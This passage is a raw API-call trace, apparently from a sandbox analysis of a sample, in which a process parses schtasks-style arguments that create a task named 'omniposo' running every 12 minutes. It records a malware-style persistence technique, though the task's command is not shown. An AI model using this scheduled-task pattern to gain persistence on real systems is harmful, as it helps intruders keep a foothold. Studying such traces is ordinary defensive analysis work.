_ArgList=0x1bf258 | out: _Buffer="|tn|") returned 4 [0141.448] lstrlenW (lpString="|run|") returned 5 [0141.448] lstrlenW (lpString="|tn|") returned 4 [0141.448] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0141.448] SetLastError (dwErrCode=0x490) [0141.448] lstrlenW (lpString="end") returned 3 [0141.448] lstrlenW (lpString="end") returned 3 [0141.448] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.448] lstrlenW (lpString="tn") returned 2 [0141.448] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.448] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|end|") returned 5 [0141.448] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tn|") returned 4 [0141.448] lstrlenW (lpString="|end|") returned 5 [0141.448] lstrlenW (lpString="|tn|") returned 4 [0141.448] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0141.448] SetLastError (dwErrCode=0x490) [0141.448] lstrlenW (lpString="showsid") returned 7 [0141.448] lstrlenW (lpString="showsid") returned 7 [0141.448] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.448] GetProcessHeap () returned 0x330000 [0141.448] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c260) returned 1 [0141.448] GetProcessHeap () returned 0x330000 [0141.448] RtlReAllocateHeap (Heap=0x330000, Flags=0xc, Ptr=0x34c260, Size=0x16) returned 0x34c260 [0141.448] lstrlenW (lpString="tn") returned 2 [0141.449] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.449] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|showsid|") returned 9 [0141.449] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tn|") returned 4 [0141.449] lstrlenW (lpString="|showsid|") returned 9 [0141.449] lstrlenW (lpString="|tn|") returned 4 [0141.449] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0141.449] SetLastError (dwErrCode=0x490) [0141.449] SetLastError (dwErrCode=0x490) [0141.449] SetLastError (dwErrCode=0x0) [0141.449] lstrlenW (lpString="/tn") returned 3 [0141.449] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0141.449] SetLastError (dwErrCode=0x490) [0141.449] SetLastError (dwErrCode=0x0) [0141.449] lstrlenW (lpString="/tn") returned 3 [0141.449] GetProcessHeap () returned 0x330000 [0141.449] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8) returned 0x34c200 [0141.449] GetProcessHeap () returned 0x330000 [0141.449] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cc10 [0141.449] SetLastError (dwErrCode=0x0) [0141.449] SetLastError (dwErrCode=0x0) [0141.449] lstrlenW (lpString="omniposo") returned 8 [0141.449] lstrlenW (lpString="-/") returned 2 [0141.449] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0141.449] SetLastError (dwErrCode=0x490) [0141.449] SetLastError (dwErrCode=0x490) [0141.449] SetLastError (dwErrCode=0x0) [0141.449] lstrlenW (lpString="omniposo") returned 8 [0141.449] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0141.449] SetLastError (dwErrCode=0x490) [0141.450] SetLastError (dwErrCode=0x0) [0141.450] lstrlenW (lpString="omniposo") returned 8 [0141.450] GetProcessHeap () returned 0x330000 [0141.450] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x12) returned 0x34c290 [0141.450] GetProcessHeap () returned 0x330000 [0141.450] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cc40 [0141.450] SetLastError (dwErrCode=0x0) [0141.450] SetLastError (dwErrCode=0x0) [0141.450] lstrlenW (lpString="/sc") returned 3 [0141.450] lstrlenW (lpString="-/") returned 2 [0141.450] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.450] lstrlenW (lpString="?") returned 1 [0141.450] lstrlenW (lpString="?") returned 1 [0141.450] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.450] lstrlenW (lpString="sc") returned 2 [0141.450] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.450] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|?|") returned 3 [0141.450] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|sc|") returned 4 [0141.450] lstrlenW (lpString="|?|") returned 3 [0141.450] lstrlenW (lpString="|sc|") returned 4 [0141.450] SetLastError (dwErrCode=0x490) [0141.450] lstrlenW (lpString="create") returned 6 [0141.450] lstrlenW (lpString="create") returned 6 [0141.450] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.450] lstrlenW (lpString="sc") returned 2 [0141.450] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.450] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|create|") returned 8 [0141.450] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|sc|") returned 4 [0141.451] lstrlenW (lpString="|create|") returned 8 [0141.451] lstrlenW (lpString="|sc|") returned 4 [0141.451] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0141.451] SetLastError (dwErrCode=0x490) [0141.451] lstrlenW (lpString="delete") returned 6 [0141.451] lstrlenW (lpString="delete") returned 6 [0141.451] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.451] lstrlenW (lpString="sc") returned 2 [0141.451] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.451] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|delete|") returned 8 [0141.451] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|sc|") returned 4 [0141.451] lstrlenW (lpString="|delete|") returned 8 [0141.451] lstrlenW (lpString="|sc|") returned 4 [0141.451] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0141.451] SetLastError (dwErrCode=0x490) [0141.451] lstrlenW (lpString="query") returned 5 [0141.451] lstrlenW (lpString="query") returned 5 [0141.451] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.451] lstrlenW (lpString="sc") returned 2 [0141.451] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.451] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|query|") returned 7 [0141.451] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|sc|") returned 4 [0141.451] lstrlenW (lpString="|query|") returned 7 [0141.451] lstrlenW (lpString="|sc|") returned 4 [0141.452] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0141.452] SetLastError (dwErrCode=0x490) [0141.452] lstrlenW (lpString="change") returned 6 [0141.452] lstrlenW (lpString="change") returned 6 [0141.452] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.452] lstrlenW (lpString="sc") returned 2 [0141.452] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.452] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|change|") returned 8 [0141.452] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|sc|") returned 4 [0141.452] lstrlenW (lpString="|change|") returned 8 [0141.452] lstrlenW (lpString="|sc|") returned 4 [0141.452] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0141.452] SetLastError (dwErrCode=0x490) [0141.452] lstrlenW (lpString="run") returned 3 [0141.452] lstrlenW (lpString="run") returned 3 [0141.452] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.452] lstrlenW (lpString="sc") returned 2 [0141.452] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.452] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|run|") returned 5 [0141.452] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|sc|") returned 4 [0141.452] lstrlenW (lpString="|run|") returned 5 [0141.452] lstrlenW (lpString="|sc|") returned 4 [0141.452] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0141.452] SetLastError (dwErrCode=0x490) [0141.452] lstrlenW (lpString="end") returned 3 [0141.452] lstrlenW (lpString="end") returned 3 [0141.452] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.453] lstrlenW (lpString="sc") returned 2 [0141.453] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.453] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|end|") returned 5 [0141.453] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|sc|") returned 4 [0141.453] lstrlenW (lpString="|end|") returned 5 [0141.453] lstrlenW (lpString="|sc|") returned 4 [0141.453] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0141.453] SetLastError (dwErrCode=0x490) [0141.504] lstrlenW (lpString="showsid") returned 7 [0141.504] lstrlenW (lpString="showsid") returned 7 [0141.504] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.504] lstrlenW (lpString="sc") returned 2 [0141.504] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.504] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|showsid|") returned 9 [0141.504] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|sc|") returned 4 [0141.504] lstrlenW (lpString="|showsid|") returned 9 [0141.504] lstrlenW (lpString="|sc|") returned 4 [0141.504] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0141.504] SetLastError (dwErrCode=0x490) [0141.504] SetLastError (dwErrCode=0x490) [0141.504] SetLastError (dwErrCode=0x0) [0141.504] lstrlenW (lpString="/sc") returned 3 [0141.504] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0141.504] SetLastError (dwErrCode=0x490) [0141.504] SetLastError (dwErrCode=0x0) [0141.504] lstrlenW (lpString="/sc") returned 3 [0141.504] GetProcessHeap () returned 0x330000 [0141.504] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8) returned 0x34c2b0 [0141.504] GetProcessHeap () returned 0x330000 [0141.504] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cc70 [0141.504] SetLastError (dwErrCode=0x0) [0141.504] SetLastError (dwErrCode=0x0) [0141.504] lstrlenW (lpString="MINUTE") returned 6 [0141.504] lstrlenW (lpString="-/") returned 2 [0141.504] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0141.504] SetLastError (dwErrCode=0x490) [0141.504] SetLastError (dwErrCode=0x490) [0141.505] SetLastError (dwErrCode=0x0) [0141.505] lstrlenW (lpString="MINUTE") returned 6 [0141.505] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0141.505] SetLastError (dwErrCode=0x490) [0141.505] SetLastError (dwErrCode=0x0) [0141.505] lstrlenW (lpString="MINUTE") returned 6 [0141.505] GetProcessHeap () returned 0x330000 [0141.505] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34c2d0 [0141.505] GetProcessHeap () returned 0x330000 [0141.505] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cca0 [0141.505] SetLastError (dwErrCode=0x0) [0141.505] SetLastError (dwErrCode=0x0) [0141.505] lstrlenW (lpString="/mo") returned 3 [0141.505] lstrlenW (lpString="-/") returned 2 [0141.505] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.505] lstrlenW (lpString="?") returned 1 [0141.505] lstrlenW (lpString="?") returned 1 [0141.505] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.505] lstrlenW (lpString="mo") returned 2 [0141.505] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.505] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|?|") returned 3 [0141.505] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|mo|") returned 4 [0141.505] lstrlenW (lpString="|?|") returned 3 [0141.505] lstrlenW (lpString="|mo|") returned 4 [0141.505] SetLastError (dwErrCode=0x490) [0141.505] lstrlenW (lpString="create") returned 6 [0141.505] lstrlenW (lpString="create") returned 6 [0141.505] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.505] lstrlenW (lpString="mo") returned 2 [0141.505] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.506] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|create|") returned 8 [0141.506] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|mo|") returned 4 [0141.506] lstrlenW (lpString="|create|") returned 8 [0141.506] lstrlenW (lpString="|mo|") returned 4 [0141.506] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0141.506] SetLastError (dwErrCode=0x490) [0141.506] lstrlenW (lpString="delete") returned 6 [0141.506] lstrlenW (lpString="delete") returned 6 [0141.506] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.506] lstrlenW (lpString="mo") returned 2 [0141.506] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.506] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|delete|") returned 8 [0141.506] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|mo|") returned 4 [0141.506] lstrlenW (lpString="|delete|") returned 8 [0141.506] lstrlenW (lpString="|mo|") returned 4 [0141.506] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0141.506] SetLastError (dwErrCode=0x490) [0141.506] lstrlenW (lpString="query") returned 5 [0141.506] lstrlenW (lpString="query") returned 5 [0141.506] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.506] lstrlenW (lpString="mo") returned 2 [0141.506] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.506] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|query|") returned 7 [0141.506] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|mo|") returned 4 [0141.506] lstrlenW (lpString="|query|") returned 7 [0141.506] lstrlenW (lpString="|mo|") returned 4 [0141.506] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0141.507] SetLastError (dwErrCode=0x490) [0141.507] lstrlenW (lpString="change") returned 6 [0141.507] lstrlenW (lpString="change") returned 6 [0141.507] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.507] lstrlenW (lpString="mo") returned 2 [0141.507] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.507] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|change|") returned 8 [0141.507] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|mo|") returned 4 [0141.507] lstrlenW (lpString="|change|") returned 8 [0141.507] lstrlenW (lpString="|mo|") returned 4 [0141.507] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0141.507] SetLastError (dwErrCode=0x490) [0141.507] lstrlenW (lpString="run") returned 3 [0141.507] lstrlenW (lpString="run") returned 3 [0141.507] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.507] lstrlenW (lpString="mo") returned 2 [0141.507] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.507] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|run|") returned 5 [0141.507] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|mo|") returned 4 [0141.507] lstrlenW (lpString="|run|") returned 5 [0141.507] lstrlenW (lpString="|mo|") returned 4 [0141.507] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0141.507] SetLastError (dwErrCode=0x490) [0141.507] lstrlenW (lpString="end") returned 3 [0141.507] lstrlenW (lpString="end") returned 3 [0141.507] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.507] lstrlenW (lpString="mo") returned 2 [0141.507] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.508] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|end|") returned 5 [0141.508] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|mo|") returned 4 [0141.508] lstrlenW (lpString="|end|") returned 5 [0141.508] lstrlenW (lpString="|mo|") returned 4 [0141.508] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0141.508] SetLastError (dwErrCode=0x490) [0141.508] lstrlenW (lpString="showsid") returned 7 [0141.508] lstrlenW (lpString="showsid") returned 7 [0141.508] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.508] lstrlenW (lpString="mo") returned 2 [0141.508] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.508] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|showsid|") returned 9 [0141.508] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|mo|") returned 4 [0141.508] lstrlenW (lpString="|showsid|") returned 9 [0141.508] lstrlenW (lpString="|mo|") returned 4 [0141.508] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0141.508] SetLastError (dwErrCode=0x490) [0141.508] SetLastError (dwErrCode=0x490) [0141.508] SetLastError (dwErrCode=0x0) [0141.508] lstrlenW (lpString="/mo") returned 3 [0141.508] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0141.508] SetLastError (dwErrCode=0x490) [0141.508] SetLastError (dwErrCode=0x0) [0141.508] lstrlenW (lpString="/mo") returned 3 [0141.508] GetProcessHeap () returned 0x330000 [0141.508] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8) returned 0x34c2f0 [0141.508] GetProcessHeap () returned 0x330000 [0141.508] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ccd0 [0141.508] SetLastError (dwErrCode=0x0) [0141.509] SetLastError (dwErrCode=0x0) [0141.509] lstrlenW (lpString="12") returned 2 [0141.509] lstrlenW (lpString="-/") returned 2 [0141.509] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0141.509] SetLastError (dwErrCode=0x490) [0141.509] SetLastError (dwErrCode=0x490) [0141.509] SetLastError (dwErrCode=0x0) [0141.509] lstrlenW (lpString="12") returned 2 [0141.509] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0141.509] SetLastError (dwErrCode=0x490) [0141.509] SetLastError (dwErrCode=0x0) [0141.509] lstrlenW (lpString="12") returned 2 [0141.509] GetProcessHeap () returned 0x330000 [0141.509] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x6) returned 0x34c310 [0141.509] GetProcessHeap () returned 0x330000 [0141.509] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd00 [0141.509] SetLastError (dwErrCode=0x0) [0141.509] SetLastError (dwErrCode=0x0) [0141.509] lstrlenW (lpString="/tr") returned 3 [0141.509] lstrlenW (lpString="-/") returned 2 [0141.509] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.509] lstrlenW (lpString="?") returned 1 [0141.509] lstrlenW (lpString="?") returned 1 [0141.509] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.509] lstrlenW (lpString="tr") returned 2 [0141.509] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.509] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|?|") returned 3 [0141.509] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tr|") returned 4 [0141.509] lstrlenW (lpString="|?|") returned 3 [0141.509] lstrlenW (lpString="|tr|") returned 4 [0141.510] SetLastError (dwErrCode=0x490) [0141.510] lstrlenW (lpString="create") returned 6 [0141.510] lstrlenW (lpString="create") returned 6 [0141.510] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.510] lstrlenW (lpString="tr") returned 2 [0141.510] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.510] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|create|") returned 8 [0141.510] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tr|") returned 4 [0141.510] lstrlenW (lpString="|create|") returned 8 [0141.510] lstrlenW (lpString="|tr|") returned 4 [0141.510] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0141.510] SetLastError (dwErrCode=0x490) [0141.510] lstrlenW (lpString="delete") returned 6 [0141.510] lstrlenW (lpString="delete") returned 6 [0141.510] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.510] lstrlenW (lpString="tr") returned 2 [0141.510] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.510] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|delete|") returned 8 [0141.510] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tr|") returned 4 [0141.510] lstrlenW (lpString="|delete|") returned 8 [0141.510] lstrlenW (lpString="|tr|") returned 4 [0141.510] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0141.510] SetLastError (dwErrCode=0x490) [0141.510] lstrlenW (lpString="query") returned 5 [0141.510] lstrlenW (lpString="query") returned 5 [0141.510] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.510] lstrlenW (lpString="tr") returned 2 [0141.510] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.511] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|query|") returned 7 [0141.511] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tr|") returned 4 [0141.511] lstrlenW (lpString="|query|") returned 7 [0141.511] lstrlenW (lpString="|tr|") returned 4 [0141.511] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0141.511] SetLastError (dwErrCode=0x490) [0141.511] lstrlenW (lpString="change") returned 6 [0141.511] lstrlenW (lpString="change") returned 6 [0141.511] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.511] lstrlenW (lpString="tr") returned 2 [0141.511] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.511] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|change|") returned 8 [0141.511] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tr|") returned 4 [0141.511] lstrlenW (lpString="|change|") returned 8 [0141.511] lstrlenW (lpString="|tr|") returned 4 [0141.511] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0141.511] SetLastError (dwErrCode=0x490) [0141.511] lstrlenW (lpString="run") returned 3 [0141.511] lstrlenW (lpString="run") returned 3 [0141.511] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.511] lstrlenW (lpString="tr") returned 2 [0141.511] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.511] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|run|") returned 5 [0141.511] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tr|") returned 4 [0141.511] lstrlenW (lpString="|run|") returned 5 [0141.511] lstrlenW (lpString="|tr|") returned 4 [0141.511] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0141.511] SetLastError (dwErrCode=0x490) [0141.512] lstrlenW (lpString="end") returned 3 [0141.512] lstrlenW (lpString="end") returned 3 [0141.512] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.512] lstrlenW (lpString="tr") returned 2 [0141.512] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.512] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|end|") returned 5 [0141.512] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tr|") returned 4 [0141.512] lstrlenW (lpString="|end|") returned 5 [0141.512] lstrlenW (lpString="|tr|") returned 4 [0141.512] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0141.512] SetLastError (dwErrCode=0x490) [0141.512] lstrlenW (lpString="showsid") returned 7 [0141.512] lstrlenW (lpString="showsid") returned 7 [0141.512] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.512] lstrlenW (lpString="tr") returned 2 [0141.512] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.512] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|showsid|") returned 9 [0141.512] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf258 | out: _Buffer="|tr|") returned 4 [0141.512] lstrlenW (lpString="|showsid|") returned 9 [0141.512] lstrlenW (lpString="|tr|") returned 4 [0141.512] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0141.512] SetLastError (dwErrCode=0x490) [0141.512] SetLastError (dwErrCode=0x490) [0141.512] 